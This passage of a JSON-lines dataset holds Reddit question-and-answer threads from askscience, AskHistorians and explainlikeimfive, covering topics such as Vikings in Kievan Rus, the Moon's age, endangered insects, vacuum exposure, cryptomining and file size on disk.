Kiev, where they ruled as princes and paid tribute to the Khazars.  There was a north-south axis of significant Scandinavian influence established between Novgorod in the north and Kiev further south.\n\nContact with Constantinople was established early on, since the Byzantines would hardly fail to notice the political and commercial powerhouse, run by foreigners, being established in their backyard.  Moreover, Prince Oleg was expanding the power of the Kievan Rus during this period, and even tried to sack Constantinople a few times between 907-915).  Despite the aggression of Oleg, the Byzantines seemed to take favourably to these upstarts and ties increased during the 10th century.  A trade agreement was signed at around this time that was mutually beneficial to both parties: the Byzantine Empire gained access to the lucrative Viking trade network that extended from the Mediterranean, through the Baltic, and to the North Atlantic.  Meanwhile, the Scandinavian commercial elite in Kiev and Novgorod gained access to the Byzantine trade network, which gave them greater access to Arabic silver, Silk from the far east, and other luxury goods.\n\nFurther political integration would follow in the late 10th century.  Vladimir I converted to Orthodox Christianity in 988, and married the sister of Emperor Basil II.  It was at around this time that the Varangian Guard was established, a place for Scandinavian soldiers of fortune to make a name for themselves in service of the emperor (and brother-in-law to the most powerful Viking ruler in Eastern Europe).  \n\nOnly for the first few decades was the Varangian Guard genuinely Scandinavian, though.  Similarly, after the reign Vladimir's successor Iaroslav the Wise (died c. 1054), Scandinavian influence in Eastern Europe waned.  Scandinavians were either assimilated into the local populations, or fled for greener pastures as the trade in Arabic silver collapsed and the power of Byzantium also declined.\n\nI wish I had concrete sources, but this comes from the lectures in my Viking studies class I took last semester.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "hn5ip", "title": "Do scientists have the right to withhold the results of their experiments?", "selftext": "For example, apart from the probability that other scientists would have eventually made the same discoveries, would the scientists who opposed the use of nuclear weapons been justified in hiding their knowledge?\n\nFeel free to spell out other examples of the same.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/hn5ip/do_scientists_have_the_right_to_withhold_the/", "answers": {"a_id": ["c1wq6jm", "c1wq9i4", "c1wqfqr", "c1wqghn", "c1wqgiu", "c1ws3cy"], "score": [7, 22, 4, 5, 3, 3], "text": ["What special knowledge of nuclear weapons did scientists who opposed them have?", "In general, yes.\n\nAs a rather extreme example consider the following. Anyone can be a scientist - it's not like in order to conduct an experiment you need to go to scientist school for 4 years, and then pass a series of of certification and licensing examinations. Let's say you want to find where the studs in your wall are, and you percuss them out; or, use a stud finder, and mark the locations on the wall.\n\nYou just performed an experiment. Should you have to submit the results of your experiment to plos?\n\nOr, for an even more ridiculous example, say you're performing oral sex on your wife and you're trying new things and you find that she really likes it when you wangle on her wingding.\n\nYou just performed an experiment. If your neighbour asks you how your wife likes it, are you obligated to disclose the results of your experiment?\n\nSo obviously, there is no default obligation for someone to disclose the results of an experiment they conducted.\n\nHowever, there are certain situations where ethically (or legally even) scientists probably should disclose their results. Let's say a medical trial is conducted, funded by Pfizer, which finds that ones of Pfizer's drugs causes 62.3% of patients' legs to fall off. This is a rather important outcome, and I think most would agree that there is an ethical obligation to disclose the results.\n\nOther situations would be where the work is being funded by the government (for the better of the population at large, afterall).\n\nSo the answer is it depends. But unless you've signed a contract to that effect, or work in a jurisdiction with legislation to that effect, scientists have *every* right to withhold the results of their experiments.\n\nWhether they should though, is another matter... and as you can see from my examples, isn't completely clear cut.\n\nIt ends up being an ethical and philosophical argument.", "Yes. But they'll probably lose their job if they go too long without noticeable results.", "Depends on what their contracts read.  \n\nScientists being paid by someone to do research don't own the results, the group or person paying them do. \n\nHiding such knowledge may be justifiable on moral grounds, but on legal grounds it's pretty clear.\n\nNow if you're talking withholding the results to the world as a whole, we do that all the time in industry, they are called trade secrets. ", "I suppose so, but why would you spend all your time researching something you were never going to tell anyone about?\n\nBesides, in the practical world, one gets research funding from grants from various agencies, foundations, corporations, etc. (it depends on what field the scientist is working in) and if you don't publish any results of the research, people will be hesitant to fund you the next time.\n\nSomeone who opposed nuclear weapons probably wouldn't be researching how to make them better.  (Although, you'll find many scientists who do oppose the use of nuclear weapons, and are working to improve nuclear detection capabilities so that such weapons cannot be smuggled through ports and stuff.)", "Any experiments or results that form the basis of a peer-reviewed journal article should not be withheld (unless there are contractual obligations or security obligations, in case of which a publication is not likely in the first place). This is particularly clear in my field of climate science. In fact, the Australian Research Council funding rules require published data to be made available for at least five years after publication (not sure if numbers are exactly accurate, but it should be in the correct ballpark).\n\nFrom the phrasing of your question (\"... who opposed the use... justified in hiding their knowledge\"), it sounds as if you're questioning if it is morally acceptable for a scientist to suppress results that contradict his viewpoints, i.e. no publication in the first place. In this case, I think it becomes a grey area. While certainly the scientist is not guilty of any wrongdoing, it does not reflect well upon his reputation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "1zee3s", "title": "Use of logic in history?", "selftext": "I am in a political science class (international relations) and there is a lot of emphasis/criticism on methodological design. They all harp on a \"logic\" or a theory's \"explanatory power.\" Granted, history and political science are different disciplines, but I was wondering the importance of explanatory power or logic in a historian's theory/methodology. I am not sure if this question is clear enough, what I am getting at is what role does logic have in history? Can inductive reasoning be used, can we create a system with rules and order? Is empiricism self-selected? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1zee3s/use_of_logic_in_history/", "answers": {"a_id": ["cfswym3"], "score": [8], "text": ["Not really. History is descriptive, not prescriptive, so we have no need or desire to create a system with rules and order. We describe what exists, and try to avoid any greater assumptions.\n\nLogical thought is, of course, important to argumentation, to make sure you points are sound. There's a great work on this: *Historians' Fallacies*, by David H. Fischer. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5v4gf8", "title": "why does baking a cookie make it impossible to turn it back into dough?", "selftext": "Mud can be made back into dirt and water, even after being left in the sun. What's so different about cookie dough?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5v4gf8/eli5why_does_baking_a_cookie_make_it_impossible/", "answers": {"a_id": ["ddz507n", "ddz5a60", "ddz76yl", "ddzln9p", "ddzmet8", "ddzw4si", "ddzz6i5"], "score": [4, 54, 5, 2, 2, 2, 2], "text": ["Adding water without a chemical change is different than cooking something. Cooking changes its chemistry. Just like I couldn't put you into a fire for an hour and suddenly being you back to life and make you raw again.", "Mud is not a chemical reaction.\nIt's just adding water to sand. The water creeps between the sand particles making them move around more easily.\n\nThe more water the more \"fluid\" it becomes.\n\n\nBaking cookies is a chemical reaction where different ingredients bind together which creates new chemicals.\n\nThe baking itself removes moisture but also provides the energy (heat) for the chemical reactions.\n\nReversing the procces isnt possible because the energy is already absorbed.\n\n\nThink of it like this:\n\nIf you take the fuel from a car, the car doesnt reverse to its original position. ", "From what I remember from High School chemistry; Applying heat to food (in this case cookie dough) disrupts the hydrogen bonds and non-polar hydrophobic interactions. This occurs because heat increases the kinetic energy and causes the molecules to vibrate so rapidly and violently that the bonds are disrupted.  Essentially, the proteins denature and coagulate during cooking.  Watching an egg cook is the most obvious and easy to understand example of this process.\n\nWe do not have the technology to reverse this process.\n\nThis would be a much better question for r/askscience if you're looking for a more technical answer.", "So water and fire are like enemies, they are very different. \n\nIf you add water to pants, they are happy, play together and make wet pants. You can leave the your pants in the sun, and the sun makes the water *evaporate* or go home, then you just have pants again. \n\nBut when you add fire to pants , the fire doesn't play nice, it eats things and turns them into smoke. The pants can never get those pieces back, so now you have ashes and smoke. We can't make the smoke be friends with ashes. \n\nWhen you cook, you might not see it, but the fire is making heat, and the heat is making the ingredients scared, so they huddle together really close, and then the heat is so hot, they get stuck like that forever. \n\n\n(It's not perfect, but I think it would work for a 5 year old)\n", "The act of baking causes chemical changes to the starches and proteins in the dough, and activates the leavening agents(baking soda), which are consumed in the process.  It's not just driving out the moisture.", "Easy one way hard the other. There are many problems like this even in math or computing which is more abstract. I wouldn't say it's impossible to turn it back into dough, you just need to feed the cookie to some wheat plants and then grind the wheat into flour and make dough or whatever. We probably want a chemist who has actually seen the molecular structure of baked cookie dough vs raw cookie dough (or probably a similar thing that isn't so complicated) to explain it to us. Otherwise everyone is just going to be giving pseudoanswers like I have given that say something high level that doesn't really say what's going on at low level.", "It is not impossible to turn it back into dough, just very difficult. All chemical reactions are reversible if you have enough energy and technology available. For example, rust happens spontaneously with oxygen and iron, but with an input of electrical energy in the presence of the appropriate medium you could turn the rust back into separate iron and oxygen. The main issue is more mechanical, while each chemical reaction can be reversed, each reaction requires different things to reverse them. This would require for example the baked cookie to be mechanically separated into its component chemicals, and then each set passed through a process to bring it back to its reagents (starting point). Then you have the chemicals to make dough, and would have to reassemble them mechanically to resemble dough...\n\nNot impossible, but very tricky and definitely not spontaneous."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "1c67qi", "title": "How old is the moon?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1c67qi/how_old_is_the_moon/", "answers": {"a_id": ["c9df4mb"], "score": [67], "text": ["That is a surprisingly tough question to answer and the true answer we don't know and estimates range from 4.35 billion years ago to essentially 4.5 billion years ago. \n\nThe estimates that go to 4.35 billion years ago come from work done by Lars Borg and Rick Carlson who did very precise geochronological work on lunar samples that represent some of the first solids the moon should have formed (if we are correct about how it formed i.e. it had a magma ocean). They derive ages as young as 4.36 billion years ago. They conclude from these ages that either A) the moon is really that young or B) we need a better model for how the moon solidified rather than a global magma ocean. This is nice dating work but I think until they show that all the older ages are wrong the oldest age is going win. Essentially what they are doing is picking up a really nice rock, dating it very precisely, and then saying that is the age of the moon.\n\nSource: _URL_1_\n\n2) The older estimates mostly come from A) modeling work that suggests if you form the moon  > 100 million years after you form Earth then Earth must have formed really quickly and B) Lu/Hf measurements on zircons suggesting that the material the zircon formed from was separated from the rest of the moon by no younger than 4.38 billion years ago (though more likely 4.48 billion years ago). This pushes you back to a much older moon.\n\nSources: _URL_2_ and _URL_0_\n\nNow what to make of all of this: A) I am not a fan of the modeling work that suggests if the moon formed late then Earth accreted quickly because it derives from a lot of assumptions and this method is also used to date core formation of Earth and is equally assumption based for that purpose. B) Some of the ages that the young camp wants are younger than terrestrial samples that we have (our hadean zircon record goes all the way back to 4.4 billion years ago). Since the current idea is the moon formed by giant impact then surely you would melt most of the mantle in the impact (dynamical models do show this happens) and thus you wouldn't have zircons surviving.\n\nThe zircon record on Earth goes even further because it suggests there was liquid water, a plate tectonic like system operating, and continental crust. This all requires some amount of time and if you push the moon forming impact to 4.41 billion years ago you only get ~10 million years to do all of that. This to me makes it much more likely that the moon is older than say 4.5 billion years and we had ~100 million years to form a continental crust, etc. \n\nThat being said dating lunar samples is very problematic due to the high cosmic ray flux which can really mess up some of the chronometers that we use (such as Sm-Nd from the Borg and Carlson work and Lu-Hf from the Taylor et al work). Carlson in particular has done a lot of great work on this and they produce very nice ages. I think the take home message from the Carlson ages is not that the moon is younger but that we need to rethink how the crust formed (perhaps the samples were remelted by volcanic activity or an impact).\n\nTL/DR: This is an open question and you will find support for ages from 4.35 billion years ago to ~4.5 billion years ago. I'm a fan of the older ages."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.pnas.org/content/108/43/17604.short", "http://www.nature.com/nature/journal/v477/n7362/full/nature10328.html", "http://www.sciencedirect.com/science/article/pii/S0012821X08007917"]]}
{"q_id": "2mb9ji", "title": "With so many species supposedly going extinct or becoming endangered, are they any notable insects on that list?", "selftext": "I was just wondering about insects and if there any notable species that are in danger of going extinct. Insects seem to be limitless in numbers and can be found all over in so many varieties.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2mb9ji/with_so_many_species_supposedly_going_extinct_or/", "answers": {"a_id": ["cm2mk7f", "cm2mleb", "cm2pdcf", "cm2qnhs", "cm2tvxc", "cm35t1z"], "score": [74, 8, 19, 8, 4, 3], "text": ["In the United States, there's about 57 endangered insect species^1 (as formally recognized by the U.S. Fish and Wildlife Service) and many others that are considered vulnerable or threatened, such as the [monarch butterfly](_URL_0_).\n\n---\n\n* Wagner and Van Driesche. 2010. Threats Posed to Rare or Endangered Insects by Invasions of Nonnative Species. The Annual Review of Entomology 55: 547\u201368.", "The  monarch butterfly *Danaus plexippus*  is  well-known in North America.   \n\nIt's been having problems  due  to  destruction of the habitats  of  its  food source the   milkweed plant. \n\nThere's  controversy  about  whether the problem  should be  considered  serious or not. \n\nIts official  conservation status  is listed as \"Not evaluated\". \n\n_URL_0_", "[Lord Howe Island stick insect](_URL_0_) dang near went extinct, but it's making a comeback since a tiny population was found on one bush on Ball's Pyramid.\n\nThere's a cockroach now known only from personal collections that may be extinct in the wild (known as extirpation) due to mining in the only known location it was originally found. Can't think of the name just right now.\n\nEDIT: The roach is *Simandoa conserfariam.*", "Nearly every known species in [New Zealand](_URL_0_) counting [Threatened and At Risk](_URL_1_).  Here are the official lists from the [New Zealand Threat Classification Series](_URL_2_)", "In England there is the Red Data Book, which lists the conservation status of various organisms including insects. I can't find anything recent (they are reviewed every few years), but there's [this](_URL_0_) review of bees, wasps and ants, as well as [this] (_URL_1_) central point. As to notable, well that depends on what you consider notable really.", "The [Lord Howe Island Stick Insect]( _URL_0_ ). It's believed that there were recently only 2 breeding pair in existence, which were brought to a laboratory (where one pair promptly died) in hopes of saving the species. Their eventual offspring were replaced on the exact shrub which their parents were found. We might have the total population of this species (20-30) living on a single shrub on a tiny volcanic outcropping 20km off the coast of Lord Howe Island, Australia. \n\nEdit: RadioLab has an incredible episode describing this situation. I'm sorry I cannot provide the episode # or link - Google is broken. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.worldwildlife.org/species/monarch-butterfly"], ["http://en.wikipedia.org/wiki/Monarch_butterfly#Population_decline"], ["http://en.wikipedia.org/wiki/Dryococelus_australis"], ["http://www.nhc.net.nz/", "http://www.doc.govt.nz/conservation/threats-and-impacts/difference-between-endangered-and-threatened/", "http://www.doc.govt.nz/publications/conservation/nz-threat-classification-system/nz-threat-classification-system-lists-2012-14/"], ["http://jncc.defra.gov.uk/pdf/Pub91_Review_of_threatened_bees_wasps_ants_PRINT.pdf", "http://jncc.defra.gov.uk/page-3352"], ["http://www.zoo.org.au/melbourne/animals/lord-howe-island-stick-insect"]]}
{"q_id": "uj8a3", "title": "What would happen to a person on the space station if there were a small puncture hole in the vessel?", "selftext": "I was watching Alien Resurrection for some reason and the scene came on where...spoilers ahead...the [newborn alien dies](_URL_0_).  Now if you're in space and if there's a small puncture hole in your vessel, is any of what's shown in the video likely to occur?  To paraphrase the video, if there's golf ball sized hole in your space vehicle and you put your stomach up to it, is there enough force to suck out your internal organs and kill you?  If not, what would happen to the skin exposed to space?  Could you survive?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/uj8a3/what_would_happen_to_a_person_on_the_space/", "answers": {"a_id": ["c4vvplg", "c4vvqx9"], "score": [6, 15], "text": ["No. It would be uncomfortable because the pressure would be significant, and if it were facing the sun you're get a pretty bad sunburn in a couple of minutes, but your skin can survive significant exposure to vacuum. That would actually be a fairly decent way to stop the leak.", " > if there's golf ball sized hole in your space vehicle and you put your stomach up to it, is there enough force to suck out your internal organs and kill you?\n\nNo, not by a long shot.\n\nRemember that atmospheric pressure is 14.7 psia (pounds per square inch absolute).  So if a space station was pressurized to full sea level atmosphere (which it probably wouldn't be - humans can live comfortably at much lower pressures) the difference between the interior full of air and the vacuum of space would only be 14.7 psi.  This is not very much.\n\nAs it turns out, you can survive for almost 90 seconds fully exposed to hard vacuum with minimal side effects.  You will remain conscious for 10 to 15 seconds.  You will not freeze or explode.  Well, your lungs can rupture if you try to hold your breath - the best thing to do is to gently exhale.  The liquid in your mouth and around your eyes will boil off, but this is not fatal.  By all accounts it feels very weird though.\n\nFor more reading into how the human body responds to vacuum and near-vacuum conditions, see: _URL_1_ and _URL_0_\n\ntl;dr: hard vacuum is not nearly as fatal as popular culture would lead you to believe.  "]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=d0s9sG_kWyY"], "answers_urls": [[], ["http://www.damninteresting.com/outer-space-exposure/", "http://imagine.gsfc.nasa.gov/docs/ask_astro/answers/970603.html"]]}
{"q_id": "6huxnv", "title": "what is cryptomining and how does it work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6huxnv/eli5what_is_cryptomining_and_how_does_it_work/", "answers": {"a_id": ["dj1frrk", "dj1gbhj", "dj1n00w", "dj28sgz"], "score": [21, 70, 8, 2], "text": ["It means generating cryptocurrency. Think of a hundred dollar bill. Imagine if instead of a mint to put all the security in it, it was a really hard math problem, that takes trillions of operations to find the right answer, but that answer can easily be verified as correct in just a few steps. That is a cryptocurrency.\n\nMining a cryptocurrency means using your computer to perform all those operations, eventually finding the answer, and then you can use that answer to buy stuff. As with all money, it is worth what people are willing to pay. It is backed only by its own scarcity and market forces.", "I did it for a while. There's a lot to it, but here's how I can simplify it easiest:\n\nThere's a complicated math problem that a lot of people are trying to solve. You run a program called a miner on your computer that repeatedly tries to find the answer to that problem. When it does find the answer, it gets shared between all the other people who were also trying to answer it, and when they confirm that it's the right answer, you're rewarded with whichever type of cryptocurrency you were mining (e.g. bitcoin). The answer also includes the next math problem everyone has to solve, so all the miners start working on that. Rinse, repeat.\n\nIt's actually very simple to start mining on any computer, but you'd end up spending more money on electricity than you'd ever earn, so don't bother. I can go into more depth if you have specific questions but the actual cryptography is over my head. I have done a lot of reading about the various hashing algorithms used and how they work but I couldn't explain it well enough. It's been over 2 years. There are also a lot of cryptocurrencies with different methods, so I understand some better than others.\n\nEdit: For everyone informing me of the existence of altcoins, yes, I know, I only ever mined those (until multipools got big and then I took my payouts in bitcoin and let them decide what was worth mining). I meant it wasn't worth it to CPU mine them.", "This isn't mine, but it does a decent job for an ELI5 answer \n\n\"look, it's simple. you have a Happy Burger brand fast food establishment, and sometimes kids come in and want their Happy Burger brand Happy Kiddy Burger, which according to the Happy Burger brand franchise operating instructions is supposed to be 4oz of usda utility grade hamburger lightly grilled and pressed into a poppy seed bun with two slices of mild pickle and a slice of tomato and a piece of iceberg lettuce and the name of the kid written on the top in half an ounce of Happy Burger brand special sauce about which the less said the better\n\nso naturally what you do is, you post an ad saying, cooks wanted, please bring your own grill and meat and bun and pickle and tomato and lettuce, we'll supply the sauce\n\nand you get an applicant, and you send him down to the Hall of Cooks, which is a featureless infinite plane that you keep in the unlit basement of your Happy Burger brand fast food establishment. and you tell him to just keep making burgers and handing them up, and if he hands up a burger that satisfies your standards, you'll pay him a bonus, which is $100,000, plus the price of the burger, which is $.50\n\nnow the cook can't see too good down there, and he keeps handing up burgers that are more like pickly meatballs with a swastika painted on the side in tomato sauce, but as long as the meat's cooked the health department won't shut you down, so you keep taking them and dutifully handing down briefcases of cash with a few quarters tossed in. and the cook's pretty happy, even after you summarily declare one day that you're only going to pay $50,000 per burger in the future\n\nso the cook calls in a friend, and she sets up in the Hall of Cooks and starts handing up burgers, and now you're getting acceptable burgers faster than you can sell them. so you raise your standards a bit, and you insist that burgers have to be on a bun, and that cuts production back down to a manageable rate. but the cooks are still pretty happy, even after you cut the burger bonus again to $25,000\n\nthis goes on for a while, and now you're got a hundred cooks down there, and you're started demanding that they spell out the kid's name correctly, and that's not easy. so now they're not just making burgers to your increasingly exact specifications, they're racing each other to be the first to get the kid's name right. but you're still paying $5,000 a burger, and apparently the cooks are still happy, because more and more keep showing up\n\nyou get curious one day while you're squeezing into your franchise past the giant mountain of rotting discarded hamburgers, and you head down to the Hall of Cooks. the last time you came down here, there were only six cooks, and they were just standing around in a disorganized circle; but now they're organized into these large groups. in one of them, you find your first cook, and he shakes your hand. \"remember when we just started out and i was lumping up store meat by hand and cooking it on that tiny old george foreman?\" he laughs. \"That was before we figured out cookie cutters and rolling pins.\" he's standing at a huge professional-grade charbroiler with twenty-four different patties arranged on it; suddenly, in a single efficient flash of movement, he flips them all over. of course, the dull glow of the grill isn't enough in the utter blackness of the Hall, and most of the patties end up on the ground, which you suddenly realize is a lot spongier than it's supposed to be. also, doesn't the ceiling seem lower? you shake it off and head back upstairs to start taking orders, wondering when it'll be the right time to cut the bonus to $1,000\n\nit's been another year. there are tens of thousands of cooks in your basement. you're rejecting burgers for sloppy handwriting. you're rejecting burgers for having too thick a slice of tomato. you're rejecting burgers for excessively clustered poppy seeds. seven months ago, the cooks started building floor-to-ceiling ovens with internal robotics custom-designed for making Happy Kiddy Burgers; now there are whole fields of them, each making ten thousand burgers a second. of course, it's still pitch-dark down there, and the cooks aren't exactly susan calvin, so almost all of those burgers get added straight to the end of the Great Greasy Mountains, but it's amazing how quick they come now. you overhear a few of the cooks talking excitedly about the orders they just placed for massive new ovens from Barbecue Labs. you don't know how any of them can afford this when the burger bonus is only $100\"", "ELI(a bit older than)5 version: It means activating a computer program which runs a protocol of a cryptocurrency - running that protocol makes the computer a \"node\".\nBy running a node you help sign transactions done in that particular currency and secure the network. the more nodes, the more secure the network becomes. Anyone can run a node. \nto incentivize people to run nodes (sign transactions and secure the network) they can be rewarded with new tokens \"minted\" by the protocol - hence the word \"mining\" as their actions are rewarded with new tokens it is as if they are mining new coins. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "eoxx6d", "title": "what rules govern what people from specific countries are called?", "selftext": "I was thinking earlier how weird it was the people from, say, Canada are called Canadi-ans, and not something like Canad-ites. Other examples I thought of were how people from Portugal are called Portug-ese, and not Portug-ans. What determines the suffix for these words?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/eoxx6d/eli5what_rules_govern_what_people_from_specific/", "answers": {"a_id": ["fefvgkz", "fegwiz0"], "score": [7, 2], "text": ["There really are no solid rules, even just within English. It's primarily just down to tradition, and what their government decides people from the country should be called.", "My suspicion is that these terms are grown organically and accepted more and more with the exchange of ideas through time until they become accepted socially and then, eventually defined legally. I have often wondered similar things myself. For example, my folks have been in the same home since I was 1yo and they remodeled and added to it (doubling the size) and the original living room wasn't used as the new one was much larger and relevant to the purpose. As such, the name we gave it was \"The Old Living Room\" and it functions exactly as what most people call a front room. When I go to my in laws, they don't have an *Old* living room yet they do have a front room so despite the fact the room serves the same purpose, I have to use 2 varying terms for conversation otherwise the point won't be adequately relayed. I think its a similar situation with any term or label really..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "95svvo", "title": "why \"size\" and \"size on disk\" is different?", "selftext": "While looking at a size of folder on my PC, I see it very often.\n\nIs it because of some overhead used by my SSD that takes more size than the files does themselves?\n\nThanks everyone. Got my answer!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/95svvo/eli5why_size_and_size_on_disk_is_different/", "answers": {"a_id": ["e3v804w", "e3v94xb", "e3va7gf", "e3vcbjj", "e3vdr9u"], "score": [4, 8, 11, 152, 9], "text": ["Pretty sure it has something to do with the smallest amount that can be allocated for a file/folder. When allocating space for some data, a computer can't really allocate space for exactly 3.14kb of data, it can only allocate in blocks of 4kb. (for example)\n\nSo while the file is 3.14kb, the space dedicated to storing that data will be 4kb, because that's the smallest size the computer can allocate for it.\n\nSomething like that. Space for data is allocated in nice even numbers, so for odd-numbered data sizes, the amount of space allocated will be larger than the actual amount of data, and thus, you see different numbers for \"size\" and \"size on disk\". The \"size\" is the actual size of the data, whereas the \"size on disk\" is the size of the space allocated for that data.", "In olden days, they didn\u2019t used to show \u201csize on disk\u201d statistics. This caused perplexing problems with users, and occasionally developers when, say, a 20GB hard drive reported 4GB free but would report out of storage space when trying to create a new file, because in actuality a ton of small files had filled up all the 4K storage blocks.\n\nWindows 95/NT started showing both statistics in disk property windows, and confusion was dramatically reduced.", "The size of a file and how much space it takes to store it are fundamentally two separate (but related) concepts.\n\nConsider if I made a text document that stores the sentence \"The quick brown fox jumped over the lazy dog.\"  That's 45 characters by my count.  If we use one byte per character then that would give us a file with a size of 45 bytes.\n\nHowever, your computer doesn't work with files that small.  Typically the smallest file is 4 kb.  The size on disk may be 4 kb for this file.\n\nNow consider if I made a text document that consists of the letter L fourteen million times.  The size of this file is 14 million bytes.  It does not take fourteen million bytes to store that data, though: the sentence \"the letter L fourteen million times\" fully describes the file.  Some file systems give the option to let the operating system compress files on disk to save space at the expense of speed.  In this case the size of the file would be about 14 MB while the size on disk may only be a few kb.\n\nThe operating system is telling you both file size and size on disk because it doesn't know what you care about:  how big the file is, or how it's contributing to your disk being full.  ", "Your teacher tells you to write a four-page essay. So you write three full pages plus two sentences on the last page. Your essay is four pages long! Well it's not really four pages, it's closer to three pages, but it takes four pages to contain those 3.04 pages worth of text.\n\nThe \"size\" of your essay is 3.04 pages. But the \"size on paper\" is 4 pages.\n\nThe significance of reporting that it is 4 pages long \"on paper\" is that you only have 100 sheets of writing paper. That means you can write only 96 more pages of text, not 96.96. ", "Picture a cabinet with a bunch of drawers.  Each drawer can hold at most 100 legos.  But any given drawer isn\u2019t allowed to hold more than one LEGO set.  So even if a particular set of legos is small and only has twenty legos, that set will take up 100 legos worth of space. \n\nThe cabinet is like the disk and the sets are like files.  Basically each file ends up taking up more space than it actually needs on the disk because the drawers (sectors) aren\u2019t exactly the same size as the file.  \n\nAnd just to head off a logical next question, making the drawers small enough that they each only hold one LEGO is very inefficient when it comes to finding or storing the legos.  So there is a balance between the drawer size where speed of access is weighed against wasting space.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "ahm37y", "title": "If there was a filter with holes the size of water molecules would water be able to go through the filter considering surface tension?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/ahm37y/if_there_was_a_filter_with_holes_the_size_of/", "answers": {"a_id": ["eefzgt6"], "score": [8], "text": ["I am not sure the answer to this is fully known. There was a [study](_URL_0_) that showed that as water flowed over graphene, protons (which exist is water due to self-ionization) can diffuse through atomic-size holes from missing atoms, which kind of implies that water molecules themselves can't. It is also known that water flows through carbon nanotubes at [faster rates than one would expect](_URL_1_) (although this depends on the electrical properties of the nanotubes), but this has not been tested with tubes small enough to be comparable to water molecules (which I don't think exist?)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.nature.com/articles/ncomms7539?page=2", "https://softbites.org/2018/05/10/fast-flow-in-tiny-tubes/"]]}
{"q_id": "cut8zv", "title": "what is sensation that i (and others that i've asked) feel when someone gives a breathy whisper into my ear and a tingling/tickling sensation is felt in the lower back?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cut8zv/eli5_what_is_sensation_that_i_and_others_that_ive/", "answers": {"a_id": ["exyj1i8"], "score": [4], "text": ["That's the autonomous sensory meridian response, or r/asmr for short. The r/frisson is similar and related."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "d38ag2", "title": "why do people (including me) feel so uncomfortable standing with their hands at their sides? literally everyone i see standing still either has arms crossed, hands in pockets, hand on a nearby table/railing, etc.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/d38ag2/eli5_why_do_people_including_me_feel_so/", "answers": {"a_id": ["f0066ca"], "score": [5], "text": ["Maybe we get tired trying to stop them from swinging loosely along our bodies with every movement, so we tend to place them on something? Holding arms agains body that is also vertical requires input too (constant horizontal pressure). With arms crossed or hands in the pockets they rest against themselves or the trousers fabric and no input is required to keep them in place."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "13z479", "title": "Is an underground aquifer an actual pool of water, that, once dried up, is a large, cavernous space, or is it just soil that is highly saturated?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/13z479/is_an_underground_aquifer_an_actual_pool_of_water/", "answers": {"a_id": ["c78fbcf", "c78fbej"], "score": [3, 2], "text": ["It is a layer of rock, sand, soil that is saturated with enough water that it can be extracted. As water seeps through the soil it eventually reaches a point where it collects in a denser area as is slowly percolates downward.. In this sense it acts as its own filter, so it is important to keep from polluting them. ", "_URL_0_ \n\nHighly permeable soil."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Aquifer"]]}
{"q_id": "1l9vhg", "title": "Why don't natural anti-bacterial substances, eg. garlic, contribute to resistance like antibiotic drugs do?", "selftext": "There is a lot of concern these days about the prevalence and over-use of chemical antibiotics causing resistant strains of bacteria. This is pretty easy to grasp, considering the reproduction rate of bacteria.\n\nHowever, many anti-bacterial substances have been around in nature for a long time - foods such as [garlic](_URL_0_) and materials like [copper](_URL_1_).\n\nWhy haven't these natural substances not caused bacterial resistance in the same way our drugs do, especially considering they've been out there killing bacteria for a very, very long time?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1l9vhg/why_dont_natural_antibacterial_substances_eg/", "answers": {"a_id": ["cbxcv0y", "cbxej5d"], "score": [10, 3], "text": ["The answer to this question is actually a bit complex and has more to do with the different properties of an antibiotic (e.g. penicillin) vs a material with anti-microbial activities (i.e. copper, bleach,  > 50% ethanol, hydrogen peroxide).  \n\nAn antimicrobial substance kills bacterial because it has chemical properties that make it inhospitable to life.  For instance, hydrogen peroxide is a strong oxidizing agent that will react with biological compounds to render them inert. Copper is a metal with a high redox potential that will complex with organic compounds in such a way as to disrupt their chemical activity.  These compounds damage ANY life-form, not just bacteria.  There is literally no way for a bacteria to become \"resistant\" to these compounds in the same sense as it would to an antibiotic.  While there are some bacteria (dubbed extremophiles) that can live in harsh environments containing these normal anti-microbial substances, they have only accomplished this by completely altering their metabolism to cope, and sometimes utilize, the chemical activity of these compounds.  \n\nAntibiotics by contrast are far more specific in their microbe-killing ability.  Penicillin for instance disrupts the bacterial cell wall, making it less able to separate itself from its environment and defend itself from our immune system.  Penicillin has no effect on humans, or any 